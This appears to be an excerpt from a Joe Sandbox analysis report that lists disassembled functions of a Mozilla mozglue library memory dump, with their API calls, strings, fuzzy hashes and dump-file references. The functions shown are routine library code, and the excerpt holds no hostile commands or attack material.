Opcode Fuzzy Hash: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction Fuzzy Hash: 2951D071D05204DBEB01DF69CC407EEB7B4AF69318F54842DE8556BB80E730E948CBA2

Function 6C9DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA565

Part of subcall function 6C9DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9DA4BE
Part of subcall function 6C9DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9DA6B6

Strings

0, xrefs: 6C9DA5FB
z, xrefs: 6C9DA6AE

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction ID: cc54a6fa76f7a7508ee3af50abf586e8a4ee86f999230ba11beb60bcacc5ea75
Opcode Fuzzy Hash: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction Fuzzy Hash: D5413771909B45DFC341DF28C080A9FBBE5BF99354F408A2EF49997650EB30E559CB82

Function 6C9678C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9E008B), ref: 6C967B89
free.MOZGLUE(?,6C9E008B), ref: 6C967BAC

Part of subcall function 6C9678C0: free.MOZGLUE(?,6C9E008B), ref: 6C967BCF

free.MOZGLUE(?,6C9E008B), ref: 6C967BF2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction ID: 022ddb5a4f8435c6e9fd4f8fc5389646b8f004cc6be7a92c1ee60df715c6c9d2
Opcode Fuzzy Hash: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction Fuzzy Hash: 43C1A171E011298BFB248B29CCA0BADB772AF51318F1507A9D41AABFC1C731DE858F51

Function 6C9A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
__Init_thread_footer.LIBCMT ref: 6C9A949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9A946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9A9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9A947D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction ID: 5339ff1b63fb6d48df6833fe8939d8d2a163d2888a2dfa06ef6f11877cd6da4c
Opcode Fuzzy Hash: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction Fuzzy Hash: C3012870A04100CBEF40DB9DE808A4533B8EF6E72DF150537D90A86F42EA22D5558957

Function 6C9B0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B0F88
GetCurrentThreadId.KERNEL32 ref: 6C9B0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9B1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9B10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9B114B

Part of subcall function 6C9A8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9C1563), ref: 6C9A8BD5

free.MOZGLUE(?), ref: 6C9B1174
free.MOZGLUE(?), ref: 6C9B1186

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction ID: 5cc031c2bfc3178bbca1dfc65de5f7bb7ab067326ea35db39abc47d02ba77459
Opcode Fuzzy Hash: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction Fuzzy Hash: C961B075A08740ABDB10CF24C98079BB7F9BFEA308F14891DE89967711EB31E559CB81

Function 6C96B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6AC

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C96B61E), ref: 6C96B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B79A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction ID: f5252f8c939df9c436621fd88dc9660449442bc99005785a882ea740c3a9cbb9
Opcode Fuzzy Hash: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction Fuzzy Hash: BF41B2B2D001159FDB14DF69DC806AEF7B9BB64324F250629F825E7B80E731E9148BE1

Function 6C96EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9E5104), ref: 6C96EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96EFEC
free.MOZGLUE(?), ref: 6C96F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C96F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96F065
moz_xmalloc.MOZGLUE ref: 6C96F072

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction ID: 557e869bce74702624e59ac9da750bc58e7692a23e164174818f0416366be11d
Opcode Fuzzy Hash: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction Fuzzy Hash: 3A41E7B1A002059FDB08CF68DC819BF7769BF98318B244628E815DBBD4EB31E915C7E1

Function 6C9DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9DB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9DB5F4
__Init_thread_footer.LIBCMT ref: 6C9DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9DB61F
std::_Facet_Register.LIBCPMT ref: 6C9DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9DB655

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction ID: 32d48d8583099e5c8a6042f720e2bf5664908c77e877ccaaac345255936da4ce
Opcode Fuzzy Hash: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction Fuzzy Hash: B931C771B04204CBCF40DF68D8589AEBBB5FFAE324B250526D902A7740DB30E946CF91

Function 6C979830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9C7ABE), ref: 6C97985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9C7ABE), ref: 6C9798A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C979909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C979918
free.MOZGLUE(?), ref: 6C979975

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction ID: 32ce69089bfbd6f602876d1bbafd33761c44e2dd4c24b450ad4fda9e3038a569
Opcode Fuzzy Hash: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction Fuzzy Hash: 3971AC746067068FD725CF28C480A66B7F5FF4A3247254AADD85A8BBA0D731F845CB60

Function 6C97B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE), ref: 6C97B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B896

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction ID: 8c990dbb3facbcaf6f67f5a42b944458520323cee6fab8eee6fc31d121235e54
Opcode Fuzzy Hash: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction Fuzzy Hash: AC519A757052048FCB25CF58C484A6ABBF9FF88318F69859DE99A87341C730EC01CB94

Function 6C9B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B1DDA

Part of subcall function 6C9B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9B1F03
Part of subcall function 6C9B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9B1DF2,00000000,00000000), ref: 6C9B1F0C
Part of subcall function 6C9B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9B1DF4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction ID: 8855405187fffb5104d16c006f7a4c5ef868342132be43da36e1e6d21b779c3a
Opcode Fuzzy Hash: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction Fuzzy Hash: 6D4188B5204704AFCB50CF28C889A56BBF9FFA9314F20442EE95A87B41CB31F854CB94

Function 6C9738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,?,6C973899,?), ref: 6C9738B2
ReleaseSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,6C973899,?), ref: 6C9738C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C973899,?), ref: 6C9738F1
RtlFreeHeap.NTDLL ref: 6C973920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C973899,?), ref: 6C97392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C973899,?), ref: 6C973943
RtlFreeHeap.NTDLL ref: 6C97396E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction ID: 74eb00ba9bf65c7cf1cdb11925fde1b842c21f0d52fe15ef1bfc42b6249f39af
Opcode Fuzzy Hash: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction Fuzzy Hash: 05212472602B20DFD721DF25C880B96B7B9FF55328F268469D95AA7B10C730F845CBA0

Function 6C9A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85AC

Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A767F
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A7693
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85B2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction ID: 3dcab1c6b04a2347801b14a8a5d75b2a149c0a7dda4c8534bbd5f9ca1ec269c7
Opcode Fuzzy Hash: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction Fuzzy Hash: 5921B2742007419FDB18DB64C888A5AB7B9BF5430DF24082DE99BC3B41DB31F959CB55

Function 6C971640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C971699
VerSetConditionMask.NTDLL ref: 6C9716CB
VerSetConditionMask.NTDLL ref: 6C9716D7
VerSetConditionMask.NTDLL ref: 6C9716DE
VerSetConditionMask.NTDLL ref: 6C9716E5
VerSetConditionMask.NTDLL ref: 6C9716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9716F9

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction ID: 3ba5d2a5828e4d7ff8963ba201be3bd5fbfb3274f1015f64c897bd606ab22139
Opcode Fuzzy Hash: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction Fuzzy Hash: 3621E7B0744308ABFB216A648C45FBB737CDFEAB04F044528F6059B2C0C674DD5487A1

Function 6C9AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

